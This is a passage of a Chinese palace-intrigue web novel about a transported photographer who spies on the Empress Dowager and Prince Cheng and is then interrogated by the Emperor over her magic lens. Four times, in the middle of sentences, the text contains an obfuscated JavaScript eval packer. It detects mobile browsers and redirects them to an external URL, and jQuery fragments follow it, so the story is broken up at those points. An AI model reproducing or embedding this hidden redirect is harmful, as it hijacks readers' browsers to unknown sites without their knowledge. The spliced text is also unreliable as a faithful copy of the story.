太后在主殿的榻上坐着,身着黎色常服,一丝不苟的发髻间已然夹杂了几根银丝,从果盘还带着点儿青果的枇杷串里摘了颗果子下来,神情难得地显露出一些柔和来。 成王坐在下首的圈椅中,着石青回纹袍,端起宫女呈上来的茶碗,闻了闻茶香,呷了一口。 宫女们来来往往,在摄政王放下茶碗之后,自觉有序地纷纷退出去,殿内只留太后的拟诏女官闻新雪和掌事孙姑姑。 “哀家这儿的茶是入不得殿下的眼么?”太后把枇杷放回果盘,端起茶碗喝茶,开启了话题。 “臣弟岂敢,只是臣弟素不喜吃茶,娘娘也是知道的嘛。”成王回答的语气并非谄媚,亦非不忿,竟透出一点儿无所适从的腼腆来,与其年龄、外貌、身份均不符。 “是么?哀家还以为殿下是怕哀家真如坊间所说,要对皇室赶尽杀绝,对哀家心生恐惧呢。”太后放下茶碗,笑得眉眼舒展。 “呵呵,”成王干笑了两声,抬眼看向太后,他是长脸,嘴角天生下撇,抬眼看人便显得目光锐利不善,好在笑容消磨了几分锐气,“王子犯法与庶民同罪,那些宗亲重臣或遭流放或被杀头,全因自己目无王法,怎能说是太后赶尽杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128588|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝?” 当初过继来的藩王之子初登基,主少国疑,为了稳定局势,五年间,太后任用酷吏,专门揭举皇室宗亲,将那些蠢蠢欲动的旁支全剪了个干净,只留下几家听话的,愿意拥立新君的。 虽然手段残酷,但这对于拥有摄政权力的成王来说,好处只多不少,少了那帮捣乱的亲戚,他行事也方便许多。 太后听了好话,心里熨帖,“话虽如此,李、谢两个酷吏也该解决了才是。让他们当谏臣,他们竟敢以权谋私,迫害皇室宗亲,真当哀家是瞎的了。” “新雪。”太后偏过头让身后的女官靠近。 “是。臣尽快就此拟草诏,拿给太后过目。” 成王心说果然,宗亲杀得差不多了,太后是该要把那些酷吏卸磨杀驴了。恭维了一句,“太后明查”,又将茶碗端到嘴边,又浅尝一点儿。 “明查?李、谢二人对皇族行私刑、行贿受贿等罪早有奏报,陛下却只将那二人收监,非要等哀家病愈才来处置……难道偌大朝堂,仅哀家一个女人能明查?” “皇上这半月批阅奏章、接见臣工,虽显生涩,却也未露大错,只是年纪尚轻,需再磨炼,少不了要太后帮衬的。” 见成王又摆出朝堂上那副和事佬的姿态,太后毫不客气地揭穿:“陛下生涩,那殿下你呢,难道殿下作为摄政王对这种辱没皇室尊严的事都不知如何处理?” 太后剥了一颗枇杷尝,那果子未熟透,酸的很,她不得不偏头示意孙姑姑,将蜜饯拿来,再转回头,成王已经从座椅上起身,走到她跟前,半跪下来,手只要往前伸一点儿就能碰到她的膝盖。 这种事情似乎时常发生,太后一点儿没被惊吓到,也没有厉声叫成王远离,放尊重些。 孙姑姑拿了蜜饯来,看到成王半跪在太后跟前,一时不知所措。 成王索性朝孙姑姑伸手,拿走她手上的白瓷罐,开了盖子,双手捧着,举至齐眉高呈给太后,太后瞧了成王一眼,拿着银签子,叉了一颗蜜饯含在嘴里。 成王将瓷罐放到小几上,半跪着给太后回话:“难不成真要给他辅政,真的辛苦耕耘十余年,为他人作嫁衣裳?” “殿下慎言……”太后说着,突然看到地上有一块光斑,立刻抬头往上看,却没见有什么,视线又回到了成王身上,“你我十年前受先帝所托,便是给新帝辅政,难不成你我真要违逆先帝,当窃国之贼不成?” “给一个藩王之子又算是什么正统?”成王抬头,直视太后的眼睛反问,抬起的手放下,差点放到太后的膝头。 太后侧了侧身,挪开腿,避开了,冷冷地回答成王:“再如何,皇上也是皇上,有先帝下遗诏传位,便是傀儡,也在皇位上坐了十年了。你也知道,现今有多少人还在试探哀家是否想夺位、逼哀家还政。” “那该如何?他虽然天资平庸,可朝中支持者日渐增多,再这样下去,咱们可真就真要还政了!” 19. 名场面十九 【00:00:01】 邝叶从鸟瞰视角将靠得过近的太后和成王两个人框入“镜头”。 【名场面:福宁殿太后成王之谋,等级:S。收录成功!】 【摄影师邝叶,剩余寿命:512天。】 来不及惊叹这个s级名场面带来的巨大奖励,邝叶小心地将瓦片盖上,就这样趴着在屋顶上福宁宫主殿的屋顶匍匐前进,避免发出声响。 直到透镜上显示道具冷却时间已到,邝叶才爬向屋顶边缘,找到架在屋顶边的梯子,敲了敲透镜,上面的字变成了【道具“千人一面”使用中,倒计时00:03:00】,邝叶将琉璃透镜收进内侍服装的袖子里,顺着梯子往下爬。 安稳落地,马上有个福宁宫的一个年轻宫女来问:“可查仔细了?” “嗯,主殿屋顶无碍,结实得很。”邝叶粗着嗓子回答,声音介于又男又女之间,符合太监的普遍嗓音。 宫女指挥两个内侍把梯子搬走,对邝叶客套:“贵妃娘娘真是有心了。”说完,凑近给邝叶递来几枚钱。 这点儿钱其实很少,邝叶却不接,说只是分内之事,急忙告辞了。 走出福宁宫,邝叶松了一口气,绷紧的身体松懈下来,向着浣衣局走去。 接下来,就是去换下这套衣服…… 邝叶早上从潆霞宫溜出来之后,去了浣衣局,用一个拙劣借口和一小锭银子,搞到一套已经洗好的内侍衣服,换上之后,来到福宁宫。 她原本在路上想好了说辞,就说“昨日潆霞宫屋顶漏了,于是今日来检修太后的这里的屋顶”。不巧,来到福宁宫侧门口时正好看到两个拎着篮子的宫女,她们篮子里装着满满的枇杷,一串果子里还有几个带青色,散发着清新的果香。 两个宫女说是贵妃指派,来给太后奉送现摘的枇杷。 福宁宫的宫女对此见怪不怪,贵妃一向如此,三五不时的就要找点儿小玩意儿来送给太后,便接过了。 邝叶见状,等那两位送枇杷的宫女走了,面对福宁宫宫女的询问时改了说辞:“奴婢奉贵妃娘娘命,来给太后修屋顶。” 那宫女自然有疑:“咱们福宁宫屋顶未曾有损,不曾报修啊。” 邝叶把头埋得低低的,一是怕对方看到自己的样子,二是扯谎心虚:“昨、昨日潆霞宫漏雨,贵妃听闻,担忧太后,特地叫奴婢来检查,尤其,尤其是寝殿和主殿。” 那宫女了然地“哦”一声,找人领邝叶进入,还遣人给她搬来梯子。因太后正在正殿会客,便让她先上寝殿屋顶查看。 邝叶偷瞄了一眼怀里的透镜,时间还够,遂听从对方的,爬上了寝殿屋顶,顶着太阳,装模做样地看这些琉璃瓦之间的接缝。 等到倒计时还剩半小时的时候,道具冷却时间也过了,邝叶再度启用道具,从屋顶上下来。她扛着梯子说要去检查主殿时,却被一个宫女拦下,对方面露难色。 往主殿那边瞧,正有好些人从主殿退出来,各自四散,想来是里面在谈什么重要事情,只能有心腹在场。 邝叶不得不再次搬出贵妃:“贵妃娘娘派遣奴婢来时,要奴婢务必查看主殿与寝殿,还要回去复命的,若今日不查,日后真有什么损坏,贵妃娘娘怪罪下来我们可担待不起。” 贵妃的跋扈和在太后面前多受宠爱,福宁宫的人最是深有体会,宫女本想说“那你等等”,可又想到太后议事有时能议半天之久,而贵妃还在等着……思来想去,宫女心一横,横竖房梁那么高,真想听什么也听不到! 邝叶如愿以偿地在福宁宫众目睽睽之下爬上了主殿的屋顶,有宫人低声议论这在干嘛,也有宫人解释这是贵妃的命令。 邝叶在主殿屋顶上,找到主座榻正上方的那片瓦,很是用了一番力气掀开,趴在屋顶往下看。 她上辈子拍野生动物时,很少使用这个视角,但她时间掐的非常好,往下看的时候,正好是成王半跪在太后跟前,接过掌事姑姑手里的蜜饯,呈给太后。 对于封建社会叔嫂关系来说,这举动确实亲密得有些过了。 邝叶从各路宫廷八卦中得知,十年前,先帝临终,下旨由一藩王之子继任皇位,太后和成王辅佐,所以他们其实除了皇家叔嫂,还是朝堂上政治上的育儿搭子,亲密点儿,其实再正常不过,对于下面的人来说,只要皇帝还是皇帝,太后和成王私底下干了啥只要不捅出来波及自身都不算大事。 对于邝叶来说也一样,只要能让邝叶收集到名场面就行,他们发狠了、忘情了、要做点儿什么了也不关邝叶的事。 尽管看到这不寻常的名场面等级和寿命奖励,结合宫斗剧最喜欢的情节,邝叶能猜到太后和成王这个名场面是谋逆相关。 顺利收集到s级名场面,又顺利离开福宁宫,邝叶不由松懈下来,步伐都带着雀跃。 然而刚过一个转角,明黄色的华盖伞毫无预兆地出现在前路。 邝叶猛地刹住脚步,不敢蹦了,垂首快步走,在经过皇帝仪驾之时恭敬行礼,像其他宫人一样,尽量降低自己的存在感。 皇帝平常是不会注意到一个小太监,可这个小太监方才在岔路口出现时,刚好与自己对上了目光,脸上笑容灿烂。 在皇宫里还能开心,皇帝对此不解,于是在经过小太监身边时停下,问:“你在此处做什么?” “回陛下,奴婢刚从太后处来,现要回去修缮处当差。” 这个人的嗓音很怪异,即使放在太监里也很怪异,皇帝于是又走近了些。 邝叶能感觉到皇帝投来的目光在她身上逡巡,带着审视和探究,在这种目光下,她紧张地几乎能听见自己的心跳声。 皇帝停在她跟前,如果此时有一阵风,两人的衣角应该会碰到一起。 “太后宫里什么时候需要修缮,朕却不知? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128589|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 邝叶没预演过这个情况,不敢回答,只是低着头。 皇帝没听到回话,对身边的安居进招手:“安居进,你认不认识他?” 听到皇帝发问,安居进忙命邝叶抬头:“头抬起来,你是跟在谁手底下的?” 不抬头是不行了,周围都是人,跑也跑不出去……希望他们问完了就放她走吧…… “奴婢是修缮处新人,除了师傅,恐怕没人认识我。”邝叶抬起头,露出一张毫无特色、难以记住的脸,回答借用了昨天来修她们屋顶的小太监的话。 安居进本人也是没什么特色的平淡长相,但他也没见过像眼前这小太监这样让人难以记住脸的人,他对此人,确实毫无印象,遂他委婉回答皇帝:“陛下,要不请修缮处总管来回话?” 邝叶又开始紧张起来,低下头,袖子里的手紧紧捏着透镜。 “不必,”皇帝本也是听到这小太监是从福宁宫出来,才有起疑,但如果对方真的是成王和太后的人,大张旗鼓地查反而打草惊蛇,“昨日有雨,定是贵妃忧心太后,才让人来查看太后居所。” 邝叶松了了一口气,但不敢有动作,人像被钉在原地一般,直到见皇帝仪驾稍远,才紧紧攥着袖子里的透镜狂奔起来,跑向浣衣局换回自己的衣服。 她没看到,圣驾离开那段路好一会儿之后,皇帝转回头看了一眼,目光有如实质。 道具“千人一面”的功效早过了,正处于冷却时间,但邝叶不能再等了,尽量低着头,进了浣衣局,找到了被她收买的浣衣局宫女,拿回自己的衣服。 好在对方只注意钱到位就行,懒得注意邝叶长什么样子、哪个宫里的,甚至一点儿也不好奇邝叶为什么气喘吁吁、浑身是汗地跑来。 邝叶于是顺利地在浣衣局换回属于自己的宫女的衣裳,像往常那样将琉璃透镜系在了腰间,不紧不慢地走回潆霞宫。 回到潆霞宫的时候,冷却时间还没结束,邝叶也没有再等下去,而是走了进去,回到自己居住的配房,心里想着,反正桃儿问起,她也可以说“肚子突然不疼了,索性出了趟门”,桃儿不会追究她的。 喝了一杯水,邝叶毫无形象的躺在自己那张床上,将腰间的琉璃透镜拿起来看,上面显示着她的寿命,512天的寿命,还有个伪装的道具。 这个透镜不是单纯地能兑换寿命而已,还会发放道具,也许某一天,她的名场面收集到了一定数量,就能发放一个让她脱离这本书中世界,回到原来那个世界的道具。 邝叶这么想着,嘴角不由上翘,懒散地垂下手,手里的琉璃透镜也跟着一起落在床面上。 “哎?做什么呀?” 迷迷糊糊间从房外传来桃儿的声音,邝叶睁开了眼,见自己屋里站了两个她不认识的宫女,其中一个,手里拿着她的琉璃透镜。 “叶儿姑娘,陛下命我等带你走一趟。” 20. 名场面二十 “叶儿姑娘,请吧。” 说话的一直都是那个看着年纪大些的宫女,另一个年纪小些的没出过声,手上拿着邝叶的琉璃透镜,前后检查了一下,便收进袖笼里。 邝叶没说什么,翻身下床跟她们走,她知道,她要是不自己走,她们就该强拉着她走了。 临跨出门,才见桃儿站在门口,担忧地看了邝叶一眼,她方才见来的是熟识的宫女,想拦一拦问是怎么回事,可对方说是皇上旨意,圣意不可揣测,此刻在门边,也只得悻悻说一句:“玉芳姐姐慢走。” 午后的阳光明晃晃得刺眼,“滋儿哇”的蝉鸣令人心烦意乱。 邝叶跟在两个宫女身后,随她们往德庆宫走,心里想了很多:皇帝为什么不直接驾临潆霞宫而是传唤她去?是因为“修缮处小太监”么?还是茵绿从她的琉璃透镜上看出了什么端倪?又或者,仅仅是皇帝心血来潮? 她没有答案。 德庆宫邝叶是来过的,可上次是夜晚,为给皇帝跑腿而来,她得在侧殿外等候;这次则是白天,她直接被领到皇帝办公的侧殿。 邝叶进入殿内,远远就见到了皇帝,也看到了很多侍卫,别说这辈子,上辈子加上原主那辈子,都没见过这么多侍卫。 “陛下,奴婢等已将人带到。”两个宫女行礼禀报,顺手将那块琉璃透镜递给侍立在旁的安居进,随后退下。 看到自己的512天寿命被安全交接到皇帝的桌案上,邝叶稍稍放心,也便行了礼。 可却遭到安居进呵斥:“还不跪下?!” 以她的经历来说,这个皇宫的礼节并没有这么严苛,并不用随时随地下跪参拜的。 邝叶有些不服气,偷偷撇了撇嘴才跪下叩首:“潆霞宫宫女叶儿,叩见陛下。” 皇帝没有叫她平身,邝叶只能保持跪下磕头的姿势,额角浮起一层细汗,自她来到这个世界,从没像现在这么神经绷紧。 皇帝睨了邝叶一眼,保养得宜的修长手指拈起那块琉璃透镜,正面反面都翻转过来端详。 这是质地块极为干净透亮的圆形琉璃片,上面不作任何雕饰,周围的一圈用作保护的绳套也只是十分常见的花样和质地,像是眼神不好的人用于辅助视物的放大镜。 琉璃片凝聚有一弯亮光,映在皇帝深邃的眼底,他眯了眯眼,轻笑一声,因殿内寂静,笑声显得格外清晰,有种志在必得的自信。 额头贴在自己交叠双手上邝叶,用力闭了闭眼又睁开,她已然想好,只要皇帝问她透镜是哪来的,她就按茵绿的说辞来改编,说自己视力不好,平时看东西需要放大镜…… “这是成王府豢养的暗卫的证身之物,你最好如实招认。”皇帝一开口,不是问罪,而是直接定了罪。 邝叶被惊吓得猛地抬起头。 怎么可能? 怎么可能?! 这明明是她穿来这个世界时带过来的被精简成一块镜头片的摄像头,是她续命的道具!她在原主的记忆里也没见过这块琉璃透镜的影子…… 皇帝像是对邝叶的反应很满意,想要继续策反,对一旁安居进使了个眼神。 安居进忙担下威胁的职责,轻轻一甩拂尘说:“去年陛下逮到过一个刺客,身上就带着成王府的信物,可她宁死不招认,陛下将其交予咱家处置,我也只能将她断成两截尸首放到成王府门口了……叶儿姑娘你还这么年轻,正是大好的年华,有什么大恩非要你又是丧命又是背负弑逆大罪的呢?” 这下邝叶自己也不确定了,皇帝是在用刺客一事诈她,还是真的确有其事,原主就是成王的暗桩,只是原主刻意忘掉了那部分记忆呢? 安居进见她眼神飘忽,以为她内心动摇,继续趁热打铁:“上回,你在御花园假借爬树摘槐花之名欲行刺陛下,还有慧妃娘娘念着旧情护着你,这回你又借贵妃娘娘名义假扮成太监与成王通风报信,慧妃娘娘这回可再救不了你了!” 邝叶想说没有,什么暗桩什么刺杀什么通风报信,她只是为了完成收集名场面的任务!御花园那次是她错估了自己的身体素质没抓牢树干,福宁宫这次她是掀开了那块瓦片才知道成王的头顶长什么样……她只是为了活下去! 但邝叶不能说出事实,因为没人会信,可她原本就捉襟见肘的语言能力在这种紧急情况下更是可以忽略不计,只能急出满脸的汗,嘴唇张张合合,翕动着却吐不出一个字。 安居进见邝叶被吓成这样却还不招认,以为又碰到一个硬钉子,只能偏头请皇帝示下,看是否拉去用刑。 皇帝不答,手里边不断翻转着琉璃透镜,在桌案上发出清脆的碰撞声,边盯着邝叶看,不错过她脸上任何细微的表情变化。 他发现,这个宫女神情虽然慌乱,但却不是绝望,她似乎还有底牌,似乎在劝自己熬过现在还有翻盘的机会…… 他还发现,此人在自己翻转这块琉璃片时,会更慌张一些…… “陛下,是否用刑?”安居进以为皇帝没看到自己的暗示,只好开口问道。 皇帝站了起来,说了声“好”,随即抓起琉璃透镜便向地面掷去—— “别!” 邝叶大叫一声,以极快地速度扑到桌案前,这是她的512天寿命! 殿内的侍卫们没想到,眼前这看起来干干瘦瘦又才被安居进一通好吓的小宫女,会在瞬息之间有这样的举动,一时间竟没有反应过来,待离皇帝最近的两个侍卫将邝叶摁住,在她脖子上架刀时,邝叶离皇帝也只是不到一步的距离。 就在众侍卫将突然“暴起伤人”的刺客邝叶团团围住,把皇帝与其隔离开时,侍卫们已经做好了要看到刺客咬着牙瞪着皇帝说仇恨怨言的准备,却见刺客正看着自己空空如也的双手发呆。 众侍卫不解。 皇帝此时将护住他的几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128590|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍卫拨开,来到邝叶跟前,向她展示了一下手里提着的琉璃透镜,唇角勾起一抹弧度,展现出了一个算得上是好看的笑容。 是邝叶讨厌的、常出现在年轻异性脸上的恶劣笑容。 邝叶对上那双深邃的眼睛,毫不掩饰地露出厌恶的表情,在皇帝看来,现在这个神情在邝叶脸上比刚才的要鲜活生动太多了。 “这块琉璃,果然是你极为重要之物,”皇帝知道自己拿捏住了邝叶真正的把柄,语气里是掩饰不住的欣喜,旋即又瞬间切换到冷漠,“交代清楚你今日假扮修缮处太监进入福宁宫都做了什么,见过什么人,说过什么话,若有一点儿不实,朕就命人在你面前将此物一点一点敲碎。” 邝叶当然相信皇帝能做得到,紧张得吞了一口唾沫,但与此同时,在这种危急关头,她反而能冷静思考了。 她也确定了皇帝和安居进前面所说的“琉璃透镜是成王府暗卫证身信物”一事是编出来诈她的。 因为她收集宫斗名场面惹出的事显得形迹可疑,引起了皇帝的怀疑,可皇帝通过调查还是不能确定她的身份,又总是看到她戴着琉璃透镜这个配饰,才想出这个方法诈她。 其实皇帝并没有实质性证据,很有可能,他未曾与贵妃或是福宁宫宫人对质,因为皇帝不信任成王、太后与贵妃,自然不会找他们求证,只能直接抓来邝叶本人审问。 从始至终,皇帝对她都只是停留在怀疑而已,最多,认出了她假扮修缮处太监,而没有实质性的证据证明她是成王的细作。 邝叶抬眼看向皇帝,心里有了底,眼神都变得坚定了许多,大有一种“问吧,我不怕”的凛然大义。 皇帝却没有在看她,而是拈着琉璃透镜的系绳,举高到放在眼前,朝着阳光看过去,琉璃透镜晃了晃,折射出五彩斑斓的光来…… 皇帝本想以这个举动逼急邝叶,让邝叶撑不住直接招认,但他透过琉璃透镜看东西不过几秒,脸色立马一变,琉璃透镜“啪”一下被他扔在桌案上,幸好有那一圈绳套保护,没有摔坏。 “妖物,这是个妖物!”皇帝的声音竟带着恐惧。 众人都很疑惑,皇帝极少会有这样失态的惊呼,他脸色煞白,双目圆睁,看着那块静静躺在御案上的透镜,似乎那不是一块琉璃,而是一条盘踞的毒蛇,他朝后退去,竟没发觉自己撞到了身后的屏风,又碰倒了架子上的瓷瓶,一阵丁零当啷。 安居进反应最快,尖声喝道:“护驾!拿下这妖女!”可“妖女”本就已经被拿下了,是方才作为刺客被拿下的…… 压住邝叶的两个侍卫将她更用力往地上摁,把冰凉的刀锋更贴紧她的脖颈,几乎要嵌进去皮肤里,以表达自己接收到了护驾的命令。 邝叶被他们压得几欲窒息,额头重重嗑在冷硬的地面上,眼前却顾不得疼痛,她脑子里全在想:皇帝看到了什么?皇帝看到了?他也能看到吗?! 21. 名场面二十一 “妖女”已被限制行动,离皇帝近的侍卫挡在皇帝身前,拔刀警戒,琉璃透镜安静地躺在御案之上,与一般物件无异。 安居进便动了探一探这物件究竟的念头,他缓缓走过去,抓住过宽的袖口,向着桌面上那块“妖物”伸长手臂…… 所有人,屏息凝神地看着这位大太监的动作。 安居进两指抓住透镜的两条系绳之一,将它拎了起来,举高到眼前观察,琉璃透镜转啊转,到最后不动了,也没有什么妖怪毒粉之类的玩意跑出来。 安居进看向皇帝,向他投去疑惑的眼神,皇帝不等安居进开口,说道:“贴近眼前,对着光亮处。” 安居进犹豫了一下,想着“救驾有功”、“荣华富贵”之类的定了定神,才依言把透镜靠近右眼,闭上了左眼,站在透过雕花窗投下来的光里…… 片刻后,安居进垂下手,脸上的表情更显疑惑了,“陛下,奴婢目力不佳,只瞧见这琉璃片中似乎有异光,再看又看不清了……” 能在御前的人都不是傻子,安居进什么异常也没看见,但他又不能直接反对皇帝的说法,只能话语含混,模棱两可地说自己看不清,把反驳皇帝的责任往他人身上推。 果然,皇帝支使了身边的一个侍卫过去看看。 侍卫收了刀,接过安居进手里的琉璃透镜,低头看了被压制在地的邝叶一眼,“妖女”的目光只放在这块琉璃片上,随之而动。 侍卫不等皇帝吩咐,像方才的安居进一样,站在将透镜几乎贴在眼前,对着光凝神细看,不过片刻,他也放下透镜,对皇帝摇了摇头,他的回答就比安居进这种深谙人情世故的人要直白一些:“小的所见,只是远处景物变清晰了。” 诡异的静笼罩殿内,皇帝的目光在邝叶和琉璃透镜之间逡巡。 他看到的景象,竟无人能共睹?难道是他看错?抑或是这妖女施了什么邪法,独独惑乱于他? 皇帝沉默了半晌,没有再叫人去试那块琉璃透镜,对安居进下令道:“找两个宫女来,将此女捆在椅子上。” 邝叶知道,转机来了。 两个宫女很快就到,是两个眼生的宫女,并非从潆霞宫将邝叶带来的那两个,她们沉默又麻利地完成皇帝吩咐的事,在侍卫们的围观下,将邝叶架起来,又用一根麻绳,把丝毫不反抗的她结结实实地捆在了一张圈椅上。 “行了,你们都出去,在门外侯着。”皇帝见邝叶被绑好,吩咐道。 安居进吃了一惊,连忙劝阻:“陛下何必亲自动手,仔细这等低贱之人的血脏了尊手。”他以为皇帝是要亲自用刑,还奇怪陛下怎么突然转了性子,此前都是不喜观刑的啊…… 皇帝不带情绪地重复了一遍:“出去。” 安居进明白,不该再问了,领着侍卫们和两个宫女,边退出去边想,等会儿叫人提前备些皂角热水,等着洗地罢…… 殿门被最后一个出门的安居进合拢,德庆宫的这间偏殿骤然陷入 一片昏沉的死寂,唯有角落的铜壶滴漏,发出单调而规律的“嗒……嗒……”声。 皇帝踩着滴漏的滴答声,自御案前走近圈椅上低垂着头邝叶,其他人都出去了,看似给他们隔绝出了一个空间,其实那几扇薄薄的门窗并不隔音,若听到了什么异响,外面的侍卫会马上闯进来——安全有了保障,但涉及隐私的问话就只能靠近了低声说。 “你,究竟是什么人?” 邝叶听到皇帝发问,抬起了头,两边颈侧被刀锋压出的细长伤口冒出了一点儿血珠,额头上的磕伤开始肿胀,汗水渗进伤口里应该是痛的,可她脸上却带着若有若无的笑,近似于挑衅。 “那,您究竟看到了什么?”她不回答,而是反问,她不确定对方看到的东西是否和她相同,她要诈他一下,算是还击。 皇帝没得到答案,心说这个小宫女果然不怕他,此前几次看似被吓呆,实际上是心不在焉,但他此时又不能叫人把这个大逆不道的宫女拖出去严刑拷打,他对那块琉璃片里看到的东西实在太感兴趣,而这块琉璃片似乎只有她能操纵。 以自己皇帝的身份,对人姿态低些,有时比强硬的手段更有用。 这么想着,皇帝又靠近了些,腰间挂的香囊所散发的香气隐隐钻进邝叶鼻间,“朕见到了太后与成王叔。” 近距离下,即使邝叶沉默不语,皇帝也清楚地看见了邝叶突然睁大的双眼和惊讶的表情。 看来,他在琉璃片里见到的东西也出乎她这个主人的意料。 皇帝善心大发,决定再礼贤下士一会儿,多说一些:“似在太后的福宁殿房顶上朝下看所见,并非画像,而是如照镜般清楚。” 好家伙……他看到了照片,不是她的剩余寿命,而是她刚收录的名场面照片。 邝叶此前还奇怪,这块琉璃透镜加上她的眼睛组成相机的机身、取景器、影像传感器、快门和光圈,完成拍照功能,却没有储存和查看照片的储存卡功能……现在她懂了,原来储存和阅片功能在皇帝那儿,两个部分的功能相对独立,她看不到成片,皇帝看不到系统提示。 凭什么她续命的系统,皇帝一个纸片人也能看见啊? “朕透过琉璃所见,是你今日假扮太监去福宁宫所见……你能把所见之景物留在这块琉璃中,你究竟是什么人?”皇帝重复了一遍对邝叶的问题。 甫一见琉璃透镜里的存的名场面时,他还被吓得直后退,到现在却已经能猜出琉璃透镜与邝叶偷偷去福宁宫这两件事之间的联系了。 “我……”邝叶说了个字,再度沉默,她不擅长撒谎,可有时候,面对某些人,说真话是没用的,要说对方想听的话——很简单的处世之道,然而邝叶要是能做到也不会选择远离人类社会跑去跟不会说话的野生动物打交道了。 邝叶憋了半天憋出了一句:“我非此间之人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128591|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这个回答,皇帝表情稍微和缓,他向后退了一步,离邝叶远了一些。 好,至少知道眼前这个身怀异术之人不是成王和太后的人,如果被他们抢了先,那就麻烦了。 见他没有发难,邝叶松了口气,继续道:“我来此,是为了收录一些名场面到那块琉璃透镜里,收集完了我就回去了,我过往从不认识太后和成王。” “这么说,你是下凡历劫的仙人?”皇帝像是随口一问。 邝叶可不敢装神仙,连忙摇头道:“我不是,我只是个摄影师。” “摄影师?” 完了,这是脱口而出了什么啊……邝叶把自己的嘴闭上。 皇帝不知道摄影师是什么,但能猜到应该是个那块琉璃透镜伴生的修仙门派,他们的修炼方式便是将一些所见的景物或人物存入琉璃透镜中,再从中体悟、修炼,以获登仙之法。 眼前这人,应该是门派中的末流,或是修仙之人流在世间的血脉…… “你留存在琉璃里的所见,只有朕能看到?” 就在邝叶以为自己要从暗箱的光学原理,到负-正片相片工艺,再到胶片和相机的自动化、电子化的迭代,以及高速摄像机的发展,给这本宫斗文的纸片人男主来个科技震撼的时候,皇帝却没有追问,而是问她别的。 摄影师这个身份就这么简单地被接受了。 “目前只有你能看到。”邝叶保守作答。 “你能让其他人也看见么?” 邝叶摇头。她自己都看不见,怎么让其他人看见?这块琉璃透镜分明有自己的意识,它让谁能看见就谁能看见。 皇帝一边在心里可惜不能用在透镜中的所见重挫太后和成王,一边回到御案前,已再一次执起透镜,“那,你应当不只存过这一个所见吧?” 没等邝叶回话,皇帝把透镜放在右眼前,对着光看——仍然是福宁殿里太后和成王靠近说话的场景,可等他一眨眼,所见的场景没变,画面里的成王却是离太后远了一些;再一眨眼,所见的场景变成了潆霞宫寝殿,慧妃跪在他面前扯着他的袍角…… 皇帝放下了透镜,将其收入袖中,再看被困在椅子上的邝叶,发现她额上已经肿起一个包,脖颈两道血痕混着汗水已经染脏了衣领,头发也也是乱的。 皇帝唤了安居进开门进入,吩咐道:“带下去,找个医女,来给她治治脸上颈上的伤,治完让她回慧妃那儿。” 怎么细作变刺客又变妖女,现在变不追究了? 安居进虽有疑惑,也只能应下,听令照做。 很快,有宫女给邝叶松绑,带她到配房,打了水准备给她擦脸。 医女很快也被找来,邝叶和对方对上视线的那一瞬间,双方均在心里油然生出一句“怎么又是你?” “曲大人好。” “叶儿姑娘好。” 但两人说出口的话都是标准社交用语。 22. 名场面二十二 “曲大人,劳烦。”领路宫女主动退到一边,让曲江月给邝叶看诊。 曲江月对她点点头,放下药箱,目光落在邝叶狼狈的脸上和颈间,不禁皱了皱眉,怎么这宫女老得罪些位高权重的人? “伸手。”曲江月在邝叶旁边坐下,声音没什么起伏,带着些薄茧的指尖搭上对方的腕脉,触感温暖。 “惊吓过度,气血略浮,外伤为主。”号完脉,曲江月收回手,转身取药。 她打开一个青瓷小罐,一股清冽微辛的气味便散出来,确认是自己想要的药,曲江月把那小罐药粉从药箱取出来。 她伸手拿过干净的布巾,轻轻擦拭邝叶在颈侧的伤口周围,而后才蘸着药粉涂敷在伤口上,动作很轻,但极其精准,带着医者特有的冷静力道。处理完脖颈,她又取出一瓶药水,用指腹沾了,涂在邝叶额上的肿胀的淤伤上,冰凉凉的,莫名其妙压下了痛感。 曲江月用敷料为邝叶包好伤口,目光落在邝叶空荡荡的腰间,那里本该系着一块土里土气的琉璃片。 她没问,只是收拾着药箱,把邝叶要用的药拿出来包好,递给对方,张嘴想吩咐些什么,最后说出口的却只是:“外伤用的药你应该很熟悉了。” 